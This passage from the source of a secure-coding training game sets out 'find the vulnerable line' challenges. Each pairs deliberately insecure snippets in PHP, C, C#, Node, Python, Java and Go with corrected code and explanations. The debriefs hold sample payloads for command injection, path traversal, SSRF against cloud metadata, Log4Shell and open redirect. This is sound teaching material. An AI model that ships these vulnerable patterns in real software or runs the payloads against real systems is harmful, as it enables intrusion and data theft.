 'jv2':[{t:'Java: PreparedStatement',u:'https://docs.oracle.com/javase/8/docs/api/java/sql/PreparedStatement.html'},{t:'OWASP: SQL Injection Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html'}],
 'jv3':[{t:'Java: ProcessBuilder',u:'https://docs.oracle.com/javase/8/docs/api/java/lang/ProcessBuilder.html'},{t:'OWASP: Command Injection',u:'https://owasp.org/www-community/attacks/Command_Injection'}],
 'jv4':[{t:'OWASP: Deserialization of untrusted data',u:'https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data'},{t:'OWASP: Deserialization Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html'}],
 'cr1':[{t:'OWASP: Password Storage Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html'}],
 'cr2':[{t:'OWASP: Insecure Randomness',u:'https://owasp.org/www-community/vulnerabilities/Insecure_Randomness'}],
 'cr3':[{t:'OWASP Top 10: Cryptographic Failures',u:'https://owasp.org/Top10/A02_2021-Cryptographic_Failures/'},{t:'OWASP: Cryptographic Storage Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html'}],
 'cr4':[{t:'Python docs: hmac.compare_digest',u:'https://docs.python.org/3/library/hmac.html'}],
 'ex1':[{t:'PortSwigger: SQL injection UNION attacks',u:'https://portswigger.net/web-security/sql-injection/union-attacks'}],
 'ex2':[{t:'PortSwigger: OS command injection',u:'https://portswigger.net/web-security/os-command-injection'}],
 'ex3':[{t:'PortSwigger: Exploiting cross-site scripting',u:'https://portswigger.net/web-security/cross-site-scripting/exploiting'}],
 'pb1':[{t:'PHP Manual: Getting started',u:'https://www.php.net/manual/en/getting-started.php'}],
 'pb2':[{t:'PHP Manual: Command-line usage',u:'https://www.php.net/manual/en/features.commandline.php'},{t:'PHP Manual: Built-in web server',u:'https://www.php.net/manual/en/features.commandline.webserver.php'}],
 'pb3':[{t:'PHP Manual: Escaping from HTML',u:'https://www.php.net/manual/en/language.basic-syntax.phpmode.php'}],
 'pb4':[{t:'PHP Manual: Variables',u:'https://www.php.net/manual/en/language.variables.basics.php'},{t:'PHP Manual: Types',u:'https://www.php.net/manual/en/language.types.php'}],
 'pb5':[{t:'PHP Manual: Arrays',u:'https://www.php.net/manual/en/language.types.array.php'},{t:'PHP Manual: Control structures',u:'https://www.php.net/manual/en/language.control-structures.php'}],
 'pb6':[{t:'Composer: Getting started',u:'https://getcomposer.org/doc/00-intro.md'},{t:'Packagist (package registry)',u:'https://packagist.org/'}],
 'pb7':[{t:'W3Schools: PHP tutorial',u:'https://www.w3schools.com/php/'},{t:'PHP Manual: Security',u:'https://www.php.net/manual/en/security.php'}],
 'r1':[{t:'OWASP: Attack categories (sources &amp; sinks)',u:'https://owasp.org/www-community/attacks/'}],
 'r4':[{t:'OWASP Top 10: Broken Access Control',u:'https://owasp.org/Top10/A01_2021-Broken_Access_Control/'}],
 'p1':[{t:'PHP Manual: Variables from outside PHP',u:'https://www.php.net/manual/en/language.variables.external.php'}],
 'p2':[{t:'PHP Manual: Prepared statements (mysqli)',u:'https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php'},{t:'W3Schools: SQL prepared statements',u:'https://www.w3schools.com/sql/sql_prepared_statements.asp'},{t:'OWASP: SQL Injection Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html'}],
 'p3':[{t:'OWASP: Command Injection',u:'https://owasp.org/www-community/attacks/Command_Injection'},{t:'PortSwigger: OS command injection',u:'https://portswigger.net/web-security/os-command-injection'}],
 'p4':[{t:'OWASP: Cross-Site Scripting (XSS)',u:'https://owasp.org/www-community/attacks/xss/'},{t:'PHP Manual: htmlspecialchars()',u:'https://www.php.net/manual/en/function.htmlspecialchars.php'}],
 'd1':[{t:'Microsoft: Model binding in ASP.NET Core',u:'https://learn.microsoft.com/en-us/aspnet/core/mvc/models/model-binding'}],
 'd2':[{t:'Microsoft: SqlCommand.Parameters',u:'https://learn.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlcommand.parameters'},{t:'OWASP: SQL Injection Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html'}],
 'd3':[{t:'Microsoft: BinaryFormatter security guide',u:'https://learn.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide'},{t:'OWASP: Deserialization Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html'}],
 'c1':[{t:'CWE-787: Out-of-bounds Write',u:'https://cwe.mitre.org/data/definitions/787.html'},{t:'OWASP: Buffer Overflow',u:'https://owasp.org/www-community/vulnerabilities/Buffer_Overflow'}],
 'c2':[{t:'CWE-120: Classic Buffer Overflow',u:'https://cwe.mitre.org/data/definitions/120.html'},{t:'cppreference: printf family (snprintf)',u:'https://en.cppreference.com/w/c/io/fprintf'}],
 'c3':[{t:'CWE-190: Integer Overflow or Wraparound',u:'https://cwe.mitre.org/data/definitions/190.html'},{t:'CWE-416: Use After Free',u:'https://cwe.mitre.org/data/definitions/416.html'}],
 'j1':[{t:'OWASP: DOM-based XSS',u:'https://owasp.org/www-community/attacks/DOM_Based_XSS'},{t:'MDN: Element.innerHTML (security)',u:'https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML'}],
 'j2':[{t:'Node.js: child_process',u:'https://nodejs.org/api/child_process.html'},{t:'OWASP: Command Injection',u:'https://owasp.org/www-community/attacks/Command_Injection'}],
 'py1':[{t:'Flask: The Request object',u:'https://flask.palletsprojects.com/en/stable/api/'}],
 'py2':[{t:'Python docs: sqlite3 placeholders',u:'https://docs.python.org/3/library/sqlite3.html'},{t:'OWASP: SQL Injection Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html'}],
 'py3':[{t:'Python docs: subprocess security',u:'https://docs.python.org/3/library/subprocess.html'}],
 'py4':[{t:'PortSwigger: Server-side template injection',u:'https://portswigger.net/web-security/server-side-template-injection'}],
 'py5':[{t:'Python docs: pickle (security warning)',u:'https://docs.python.org/3/library/pickle.html'},{t:'OWASP: Deserialization Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html'}],
 'w1':[{t:'OWASP: Server-Side Request Forgery',u:'https://owasp.org/www-community/attacks/Server_Side_Request_Forgery'},{t:'PortSwigger: SSRF',u:'https://portswigger.net/web-security/ssrf'}],
 'w2':[{t:'PortSwigger: IDOR',u:'https://portswigger.net/web-security/access-control/idor'},{t:'OWASP Top 10: Broken Access Control',u:'https://owasp.org/Top10/A01_2021-Broken_Access_Control/'}],
 'w3':[{t:'OWASP: Path Traversal',u:'https://owasp.org/www-community/attacks/Path_Traversal'},{t:'PortSwigger: File path traversal',u:'https://portswigger.net/web-security/file-path-traversal'}],
 'w4':[{t:'PortSwigger: JWT attacks',u:'https://portswigger.net/web-security/jwt'}],
 'a1':[{t:'OWASP Top 10 (2021)',u:'https://owasp.org/www-project-top-ten/'}],
 'a2':[{t:'GitHub Advisory Database',u:'https://github.com/advisories'},{t:'npm docs: npm audit',u:'https://docs.npmjs.com/cli/v10/commands/npm-audit'}],
 'a3':[{t:'OWASP: Password Storage Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html'}],
 'b1':[{t:'NVD: CVE-2021-44228 (Log4Shell)',u:'https://nvd.nist.gov/vuln/detail/CVE-2021-44228'},{t:'Apache Log4j Security',u:'https://logging.apache.org/log4j/2.x/security.html'}],
 'b2':[{t:'Heartbleed.com',u:'https://heartbleed.com/'},{t:'NVD: CVE-2014-0160',u:'https://nvd.nist.gov/vuln/detail/CVE-2014-0160'}],
 'b3':[{t:'Krebs on Security: Capital One breach',u:'https://krebsonsecurity.com/2019/07/capital-one-data-theft-impacts-106m-people/'},{t:'OWASP: Server-Side Request Forgery',u:'https://owasp.org/www-community/attacks/Server_Side_Request_Forgery'}]
};
function refsListHTML(r, label){
  if(!r || !r.length) return '';
  return '<div class="refs"><div class="refslabel">'+(label||'Learn more')+'</div>'+
    r.map(x=>'<a class="reflink" href="'+x.u+'" target="_blank" rel="noopener noreferrer">'+
      '<span>'+x.t+'</span><span class="arw">&#8599;</span></a>').join('')+'</div>';
}
function refsHTML(lessonId){ return refsListHTML(LESSON_REFS[lessonId]); }
/* aggregated, de-duplicated reference list for a whole track (shown at the
   bottom of the track page as plain reading material, not a lesson) */
function trackRefsHTML(track){
  const seen={}, items=[];
  for(const l of track.lessons){
    const r=LESSON_REFS[l.id]; if(!r) continue;
    for(const x of r){ if(seen[x.u]) continue; seen[x.u]=1; items.push(x); }
  }
  if(!items.length) return '';
  return '<div class="trackrefs"><div class="trackrefs-h">References &amp; further reading</div><ul class="treflist">'+
    items.map(x=>'<li><a href="'+x.u+'" target="_blank" rel="noopener noreferrer">'+x.t+'</a></li>').join('')+
    '</ul></div>';
}

/* =========================================================
   HUNT — find-the-vulnerable-line challenges
   each: id, title, lang, xp, difficulty, lines[], vuln[](0-indexed),
         brief, debrief (why those lines)
   ========================================================= */
/* Corrected code + reference links per Hunt (shown on the debrief page) */
const HUNT_FIX = {
 h1:[
  '$stmt = $conn->prepare("SELECT name,email FROM users WHERE id = ?");',
  '$stmt->bind_param("i", $_GET["id"]);   // bound as data, no injection',
  '$stmt->execute();',
  '$row = $stmt->get_result()->fetch_assoc();',
  'echo "<h1>" . htmlspecialchars($row["name"]) . "</h1>";  // encoded output'
 ].join('\n'),
 h2:[
  '$target = $_POST["target"];',
  'if (empty($target)) { die("no target"); }',
  '// escape the argument so shell metacharacters cannot chain commands:',
  '$output = shell_exec("ping -c 4 " . escapeshellarg($target));',
  'echo "<pre>" . htmlspecialchars($output) . "</pre>";'
 ].join('\n'),
 h3:[
  'void handle(char *input) {',
  '    char buffer[128];',
  '    snprintf(buffer, sizeof buffer, "%s", input);   // bounded copy',
  '    size_t need = strlen("got: ") + strlen(input) + 1;',
  '    char *log = (char*)malloc(need);                 // sized to the data',
  '    snprintf(log, need, "got: %s", input);',
  '    free(log);',
  '}'
 ].join('\n'),
 h4:[
  'var cmd = new SqlCommand(',
  '    "SELECT * FROM Sales WHERE Dept = @d", conn);',
  'cmd.Parameters.AddWithValue("@d", dept);   // bound parameter',
  'conn.Open();',
  'var r = cmd.ExecuteReader();'
 ].join('\n'),
 h5:[
  'const name = path.basename(req.query.name);         // strip directory parts',
  'const base = path.resolve("./uploads");',
  'const file = path.join(base, name);',
  'if (!file.startsWith(base)) return res.sendStatus(400);   // confine to base',
  'const data = fs.readFileSync(file);',
  'const { execFile } = require("child_process");',
  'execFile("file", [file], (e,o) => res.send(o + data)); // arg list, no shell'
 ].join('\n'),
 h6:[
  'row = db.execute("SELECT hash,secret FROM u WHERE name=?", [user]).one()',
  'if bcrypt.checkpw(pw.encode(), row.hash):            # slow, salted hash',
  '    expected = hmac.new(row.secret, user.encode()).hexdigest()',
  '    if hmac.compare_digest(token, expected):         # constant-time compare',
  '        return make_session(user)',
  'return None'
 ].join('\n'),
 h7:[
  '$allowed = ["home", "about", "contact"];',
  '$tpl = $_GET["tpl"] ?? "home";',
  'if (!in_array($tpl, $allowed, true)) { $tpl = "home"; }   // allowlist',
  'include("templates/" . $tpl . ".php");',
  '// no extract() of user data, and no eval()'
 ].join('\n'),
 h8:[
  'byte[] body = ReadRequestBody(ctx);',
  '// use a safe, type-constrained serializer instead of BinaryFormatter:',
  'var msg = JsonSerializer.Deserialize<Message>(body);',
  'var handler = _map[msg.Type];',
  'handler.Invoke(msg.Payload);'
 ].join('\n'),
 h9:[
  '@app.route("/preview")',
  'def preview():',
  '    tpl = request.args.get("tpl", "")',
  '    # fixed template; the value is bound and auto-escaped, never evaluated:',
  '    return render_template_string("<div>{{ tpl }}</div>", tpl=tpl)'
 ].join('\n'),
 h10:[
  'from urllib.parse import urlparse',
  'target = request.args.get("url")',
  'host = urlparse(target).hostname',
  'if host not in {"api.example.com", "cdn.example.com"}:   # allowlist',
  '    abort(400)',
  'return requests.get(target, allow_redirects=False).text'
 ].join('\n'),
 h11:[
  '// The fix is in the dependency, not the log line:',
  '//   - upgrade log4j-core to a patched release (>= 2.17.1)',
  '//   - the vulnerable JNDI message lookup is removed / disabled',
  'logger.info("login user={} ua={}", user, ua);   // parameterised logging'
 ].join('\n'),
 h12:[
  'var settings = new XmlReaderSettings {',
  '    DtdProcessing = DtdProcessing.Prohibit,   // refuse DTDs / entities',
  '    XmlResolver = null };',
  'using var reader = XmlReader.Create(new StringReader(xml), settings);',
  'var doc = new XmlDocument();',
  'doc.Load(reader);'
 ].join('\n'),
 h13:[
  'const next = req.query.next || "/";',
  '// only allow local, relative paths; reject absolute and protocol-relative URLs:',
  'if (!next.startsWith("/") || next.startsWith("//")) {',
  '  return res.redirect("/");',
  '}',
  'res.redirect(next);'
 ].join('\n'),
 h14:[
  'const user = getUser(req.session.id);',
  'user.name  = req.body.name;    // copy only the allowed fields',
  'user.email = req.body.email;   // never Object.assign(user, req.body)',
  'user.save();',
  'res.json(user);'
 ].join('\n'),
 h15:[
  'host := r.URL.Query().Get("host")',
  '// argument list, no shell; validate host as needed:',
  'out, _ := exec.Command("ping", "-c1", host).Output()',
  'w.Write(out)'
 ].join('\n'),
 h16:[
  'const ALLOWED = new Set(["https://app.example.com"]);',
  'if (ALLOWED.has(req.headers.origin)) {                     // allowlist origins',
  '  res.setHeader("Access-Control-Allow-Origin", req.headers.origin);',
  '  res.setHeader("Access-Control-Allow-Credentials", "true");',
  '}',
  'next();'
 ].join('\n')
};
const HUNT_REFS = {
 h1:[{t:'OWASP: SQL Injection Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html'},{t:'OWASP: Cross-Site Scripting (XSS)',u:'https://owasp.org/www-community/attacks/xss/'}],
 h2:[{t:'OWASP: Command Injection',u:'https://owasp.org/www-community/attacks/Command_Injection'},{t:'PortSwigger: OS command injection',u:'https://portswigger.net/web-security/os-command-injection'}],
 h3:[{t:'CWE-120: Classic Buffer Overflow',u:'https://cwe.mitre.org/data/definitions/120.html'},{t:'OWASP: Buffer Overflow',u:'https://owasp.org/www-community/vulnerabilities/Buffer_Overflow'}],
 h4:[{t:'OWASP: SQL Injection Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html'},{t:'Microsoft: SqlCommand.Parameters',u:'https://learn.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlcommand.parameters'}],
 h5:[{t:'OWASP: Path Traversal',u:'https://owasp.org/www-community/attacks/Path_Traversal'},{t:'PortSwigger: OS command injection',u:'https://portswigger.net/web-security/os-command-injection'}],
 h6:[{t:'OWASP: Password Storage Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html'},{t:'Python docs: hmac.compare_digest',u:'https://docs.python.org/3/library/hmac.html'}],
 h7:[{t:'OWASP: Path Traversal',u:'https://owasp.org/www-community/attacks/Path_Traversal'},{t:'PHP Manual: include',u:'https://www.php.net/manual/en/function.include.php'}],
 h8:[{t:'OWASP: Deserialization Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html'},{t:'Microsoft: BinaryFormatter security guide',u:'https://learn.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide'}],
 h9:[{t:'PortSwigger: Server-side template injection',u:'https://portswigger.net/web-security/server-side-template-injection'}],
 h10:[{t:'OWASP: Server-Side Request Forgery',u:'https://owasp.org/www-community/attacks/Server_Side_Request_Forgery'},{t:'PortSwigger: SSRF',u:'https://portswigger.net/web-security/ssrf'}],
 h11:[{t:'NVD: CVE-2021-44228 (Log4Shell)',u:'https://nvd.nist.gov/vuln/detail/CVE-2021-44228'},{t:'Apache Log4j Security',u:'https://logging.apache.org/log4j/2.x/security.html'}],
 h12:[{t:'OWASP: XXE Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html'},{t:'PortSwigger: XXE injection',u:'https://portswigger.net/web-security/xxe'}],
 h13:[{t:'OWASP: Open Redirect',u:'https://community.owasp.org/attacks/open_redirect'},{t:'PortSwigger: Open redirection (reflected)',u:'https://portswigger.net/kb/issues/00500100_open-redirection-reflected'},{t:'PayloadsAllTheThings: Open Redirect',u:'https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Open%20Redirect/README.md'},{t:'Snyk Learn: Open redirect (JavaScript)',u:'https://learn.snyk.io/lesson/open-redirect/?ecosystem=javascript'}],
 h14:[{t:'OWASP: Mass Assignment Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html'}],
 h15:[{t:'OWASP: Command Injection',u:'https://owasp.org/www-community/attacks/Command_Injection'},{t:'Go: os/exec',u:'https://pkg.go.dev/os/exec'}],
 h16:[{t:'PortSwigger: CORS',u:'https://portswigger.net/web-security/cors'},{t:'MDN: Cross-Origin Resource Sharing',u:'https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS'}]
};
const HUNTS = [
 {id:'h1', title:'User lookup endpoint', lang:'php', xp:40, diff:'Easy',
  brief:'A PHP endpoint that looks up a user. Tap every line you think is dangerous, then submit.',
  lines:[
   '$id = $_GET["id"];',
   '$conn = new mysqli("localhost","app","pw","shop");',
   '$sql = "SELECT name,email FROM users WHERE id=" . $id;',
   '$res = $conn->query($sql);',
   '$row = $res->fetch_assoc();',
   'echo "<h1>" . $row["name"] . "</h1>";'
  ],
  vuln:[2,5],
  debrief:'<p><b>Line 3</b> concatenates <code class="inl">$id</code> straight into SQL — classic <b>SQL injection</b>. Fix with a prepared statement.</p><p><b>Line 6</b> echoes <code class="inl">$row["name"]</code> into HTML with no encoding — <b>stored XSS</b> if the name field is attacker-controlled. Wrap it in <code class="inl">htmlspecialchars()</code>.</p><p>Line 1 is only a <i>source</i> — untrusted, but not itself the bug.</p>'},

 {id:'h2', title:'Ping diagnostic tool', lang:'php', xp:40, diff:'Easy',
  brief:'An admin "ping" utility. Which line lets an attacker run OS commands?',
  lines:[
   '$target = $_POST["target"];',
   'if (empty($target)) { die("no target"); }',
   '$output = shell_exec("ping -c 4 " . $target);',
   'echo "<pre>" . htmlspecialchars($output) . "</pre>";'
  ],
  vuln:[2],
  debrief:'<p><b>Line 3</b> passes user input to <code class="inl">shell_exec</code>. Input <code class="inl">8.8.8.8; cat /etc/passwd</code> runs both commands — <b>command injection → RCE</b>.</p><p>Note line 4 <i>does</i> encode output correctly, so it is not the bug. The <code class="inl">empty()</code> check on line 2 validates presence, not content — it stops nothing dangerous.</p>'},

 {id:'h3', title:'Legacy string handler (C)', lang:'cpp', xp:50, diff:'Medium',
  brief:'A C function copying a request field into a fixed buffer. Find the memory-safety bugs.',
  lines:[
   'void handle(char *input) {',
   '    char buffer[128];',
   '    int len = strlen(input);',
   '    strcpy(buffer, input);',
   '    char *log = (char*)malloc(len);',
   '    sprintf(log, "got: %s", input);',
   '    free(log);',
   '}'
  ],
  vuln:[3,5],
  debrief:'<p><b>Line 4</b> — <code class="inl">strcpy</code> into a 128-byte buffer with no length check: input over 128 bytes causes a <b>stack buffer overflow</b>.</p><p><b>Line 6</b> — <code class="inl">sprintf</code> also has no bound, and <code class="inl">log</code> was sized only <code class="inl">len</code> bytes (line 5) while the format adds <code class="inl">"got: "</code> — a <b>heap overflow</b>. Use <code class="inl">snprintf</code> with the real allocation size.</p>'},

 {id:'h4', title:'C# report generator', lang:'csharp', xp:50, diff:'Medium',
  brief:'An ASP.NET action building a report. Spot the injection.',
  lines:[
   'public IActionResult Report(string dept) {',
   '    var conn = new SqlConnection(_cs);',
   '    var q = $"SELECT * FROM Sales WHERE Dept=\'{dept}\'";',
   '    var cmd = new SqlCommand(q, conn);',
   '    conn.Open();',
   '    var r = cmd.ExecuteReader();',
   '    return View(r);',
   '}'
  ],
  vuln:[2],
  debrief:'<p><b>Line 3</b> uses string <b>interpolation</b> to build SQL from <code class="inl">dept</code>. That is SQL injection just like concatenation — the C# type system does not save you here.</p><p>Fix: <code class="inl">SqlCommand("...Dept=@d",conn)</code> then <code class="inl">cmd.Parameters.AddWithValue("@d",dept)</code>.</p>'},

 {id:'h5', title:'Node file server', lang:'js', xp:55, diff:'Medium',
  brief:'An Express route serving files. Two separate bug classes hide here.',
  lines:[
   'app.get("/file", (req, res) => {',
   '  const name = req.query.name;',
   '  const path = "./uploads/" + name;',
   '  const data = fs.readFileSync(path);',
   '  const { exec } = require("child_process");',
   '  exec("file " + path, (e,o) => res.send(o + data));',
   '});'
  ],
  vuln:[2,5],
  debrief:'<p><b>Line 3</b> builds a path from raw input — <code class="inl">?name=../../etc/passwd</code> is a <b>path traversal</b>. Normalize and confine to the uploads dir.</p><p><b>Line 6</b> passes that path to <code class="inl">exec</code> (a shell) — <b>command injection</b>. Use <code class="inl">execFile</code> with an argument array and validate the filename.</p>'},

 {id:'h6', title:'Auth token check', lang:'python', xp:55, diff:'Hard',
  brief:'A Python login flow. The bug is subtle — think about logic and crypto, not just sinks.',
  lines:[
   'def login(user, pw, token):',
   '    row = db.execute("SELECT hash,secret FROM u WHERE name=?", [user]).one()',
   '    if hashlib.md5(pw.encode()).hexdigest() == row.hash:',
   '        expected = hmac.new(row.secret, user.encode()).hexdigest()',
   '        if token == expected:',
   '            return make_session(user)',
   '    return None'
  ],
  vuln:[2,4],
  debrief:'<p><b>Line 3</b> — passwords hashed with <b>MD5</b>: fast, broken, trivially cracked from a dump. Use bcrypt/argon2.</p><p><b>Line 5</b> — <code class="inl">token == expected</code> is a non-constant-time compare, exposing a <b>timing side-channel</b>. Use <code class="inl">hmac.compare_digest()</code>.</p><p>Good news: line 2 <i>is</i> parameterized (<code class="inl">?</code> + list), so it is safe — a reminder to reward correct code, not flag every query.</p>'},

 {id:'h7', title:'Template render (PHP)', lang:'php', xp:45, diff:'Medium',
  brief:'A small templating helper. Where does untrusted input reach a dangerous sink?',
  lines:[
   '$tpl = $_GET["tpl"] ?? "home";',
   '$vars = json_decode($_COOKIE["v"] ?? "{}", true);',
   'extract($vars);',
   'include("templates/" . $tpl . ".php");',
   'eval("?>" . file_get_contents("cache.php"));'
  ],
  vuln:[2,3,4],
  debrief:'<p><b>Line 3</b> — <code class="inl">extract()</code> on attacker JSON lets an attacker set arbitrary local variables (<b>variable injection</b>).</p><p><b>Line 4</b> — <code class="inl">include</code> with user-controlled <code class="inl">$tpl</code> is <b>Local/Remote File Inclusion</b> (<code class="inl">?tpl=../../etc/passwd%00</code> style).</p><p><b>Line 5</b> — <code class="inl">eval()</code> executing file contents is a code-execution sink; dangerous the moment that file or its inputs are influenced.</p>'},

 {id:'h8', title:'Deserialize & dispatch (C#)', lang:'csharp', xp:60, diff:'Hard',
  brief:'A message handler. One line is a well-known RCE primitive.',
  lines:[
   'byte[] body = ReadRequestBody(ctx);',
   'var fmt = new BinaryFormatter();',
   'var msg = (Message)fmt.Deserialize(new MemoryStream(body));',
   'var handler = _map[msg.Type];',
   'handler.Invoke(msg.Payload);'
  ],
  vuln:[1,2],
  debrief:'<p><b>Lines 2–3</b> — <code class="inl">BinaryFormatter.Deserialize</code> on attacker-supplied bytes is a textbook <b>insecure deserialization → RCE</b>. Microsoft deprecated it for exactly this. Use a safe, type-constrained serializer (System.Text.Json) and never deserialize untrusted data into arbitrary types.</p>'},
 {id:'h9', title:'Template preview endpoint', lang:'python', xp:50, diff:'Medium',
  brief:'A Flask endpoint that renders a user-supplied template fragment. Find the injection.',
  lines:[
   '@app.route("/preview")',
   'def preview():',
   '    tpl = request.args.get("tpl", "")',
   '    return render_template_string("<div>" + tpl + "</div>")'
  ],
  vuln:[3],
  debrief:'<p><b>Line 4</b> passes a template built from user input to <code class="inl">render_template_string</code> — <b>Server-Side Template Injection</b>. <code class="inl">?tpl={{7*7}}</code> returns 49; real payloads read files and run commands. Render a <b>fixed</b> template and pass values as bound variables instead.</p><p>Line 3 is only the source — untrusted, but not itself the sink.</p>'},
 {id:'h10', title:'URL preview service', lang:'python', xp:50, diff:'Medium',
  brief:'A service that fetches a URL on the user\'s behalf. Where is the SSRF?',
  lines:[
   '@app.route("/fetch")',
   'def fetch():',
   '    target = request.args.get("url")',
   '    if not target:',
   '        abort(400)',
   '    return requests.get(target).text'
  ],
  vuln:[5],
  debrief:'<p><b>Line 6</b> fetches a user-supplied URL server-side — <b>SSRF</b>. <code class="inl">?url=http://169.254.169.254/latest/meta-data/</code> reaches the cloud metadata service and can leak IAM credentials. Allowlist destinations and block internal IP ranges. The empty-check on lines 4–5 validates presence, not safety.</p>'},
 {id:'h11', title:'Login audit logger (Java)', lang:'java', xp:60, diff:'Hard',
  brief:'A Java handler that logs each login attempt. Assume it uses a vulnerable Log4j version — which line is the exploit vector?',
  lines:[
   'public void handle(HttpRequest req) {',
   '    String ua = req.getHeader("User-Agent");',
   '    String user = req.getParameter("user");',
   '    logger.info("login user=" + user + " ua=" + ua);',
   '    auth.check(user);',
   '}'
  ],
  vuln:[3],
  debrief:'<p><b>Line 4</b> logs attacker-controlled input (<code class="inl">user</code> and the <code class="inl">User-Agent</code>). On a vulnerable <b>Log4j</b> version (Log4Shell, CVE-2021-44228) that single log call is remote code execution via a <code class="inl">${jndi:...}</code> payload — no login required. The bug lives in the <b>dependency</b>, so the fix is upgrading Log4j, not rewriting the log line. This is why logging untrusted input is a sink worth flagging.</p>'},
 {id:'h12', title:'XML profile importer (C#)', lang:'csharp', xp:55, diff:'Hard',
  brief:'A .NET endpoint that imports a user-supplied XML profile. Find the XXE.',
  lines:[
   'public IActionResult Import(string xml) {',
   '    var doc = new XmlDocument();',
   '    doc.XmlResolver = new XmlUrlResolver();',
   '    doc.LoadXml(xml);',
   '    return Ok(doc.InnerText);',
   '}'
  ],
  vuln:[2,3],
  debrief:'<p><b>Line 3</b> sets an <code class="inl">XmlUrlResolver</code> and <b>line 4</b> loads attacker XML — together that is <b>XXE</b>. A payload with an external entity (<code class="inl">file:///etc/passwd</code> or an internal URL) is read or fetched by the server. Fix: <code class="inl">doc.XmlResolver = null</code> and prohibit DTD processing.</p>'},
 {id:'h13', title:'Post-login redirect (Node)', lang:'js', xp:45, diff:'Medium',
  brief:'An Express login handler that returns the user to where they came from. Spot the open redirect.',
  lines:[
   'app.post("/login", (req, res) => {',
   '  if (!auth(req.body.user, req.body.pass))',
   '    return res.status(401).end();',
   '  const next = req.query.next;',
   '  res.redirect(next);',
   '});'
  ],
  vuln:[4],
  debrief:'<p><b>Line 5</b> redirects to a user-controlled URL — an <b>open redirect</b>. <code class="inl">?next=https://evil.example</code> turns a link on your trusted domain into a phishing bounce. Accept only relative paths (reject <code class="inl">//host</code>) or allowlist destinations. Line 4 is only the source.</p>'},
 {id:'h14', title:'Profile update (Node)', lang:'js', xp:50, diff:'Medium',
  brief:'An Express handler that saves profile changes. Spot the mass-assignment bug.',
  lines:[
   'app.post("/profile", (req, res) => {',
   '  const user = getUser(req.session.id);',
   '  Object.assign(user, req.body);',
   '  user.save();',
   '  res.json(user);',
   '});'
  ],
  vuln:[2],
  debrief:'<p><b>Line 3</b> merges the entire request body onto the user object with <code class="inl">Object.assign</code> — <b>mass assignment</b>. An attacker adds <code class="inl">"role":"admin"</code> (or <code class="inl">isAdmin:true</code>) to the body and escalates privileges. Copy only the allowed fields explicitly (name, email), never the whole body.</p>'},
 {id:'h15', title:'Ping service (Go)', lang:'go', xp:50, diff:'Medium',
  brief:'A Go HTTP handler that pings a host. Find the command injection.',
  lines:[
   'func ping(w http.ResponseWriter, r *http.Request) {',
   '    host := r.URL.Query().Get("host")',
   '    out, _ := exec.Command("sh", "-c", "ping -c1 "+host).Output()',
   '    w.Write(out)',
   '}'
  ],
  vuln:[2],
  debrief:'<p><b>Line 3</b> builds a shell command from user input and runs it through <code class="inl">sh -c</code> — <b>command injection</b>. <code class="inl">?host=8.8.8.8;id</code> runs both commands. Use <code class="inl">exec.Command("ping","-c1",host)</code> with an argument list and no shell, and validate the host. Line 2 is only the source.</p>'},
 {id:'h16', title:'API CORS headers (Node)', lang:'js', xp:50, diff:'Hard',
  brief:'Middleware that sets CORS headers for an authenticated API. Spot the misconfiguration.',
  lines:[
   'app.use((req, res, next) => {',
   '  res.setHeader("Access-Control-Allow-Origin", req.headers.origin);',
   '  res.setHeader("Access-Control-Allow-Credentials", "true");',
   '  next();',
   '});'
  ],
  vuln:[1,2],
  debrief:'<p><b>Lines 2–3</b> reflect the request\'s <code class="inl">Origin</code> back and allow credentials — so <b>any</b> website can make authenticated requests and read the responses, stealing user data. Allowlist specific trusted origins, and never pair a reflected origin with <code class="inl">Allow-Credentials: true</code>.</p>'}
];

/* =========================================================
   DAILY TARGET — one rotating hunt per day
   ========================================================= */
function dailyHunt(){
  const d=today();
  // deterministic pick from date
  let h=0; for(const c of d) h=(h*31+c.charCodeAt(0))>>>0;
  return HUNTS[h % HUNTS.length];
}

/* =========================================================
   VIEWS
   ========================================================= */
function trackProgress(t){
  const done=t.lessons.filter(l=>S.done[l.id]).length;
  return {done,total:t.lessons.length,pct:Math.round(done/t.lessons.length*100)};
}
function nextLessonIndex(t){
  for(let i=0;i<t.lessons.length;i++) if(!S.done[t.lessons[i].id]) return i;
  return -1; // all done
}

function vHome(){
  const dh=dailyHunt();
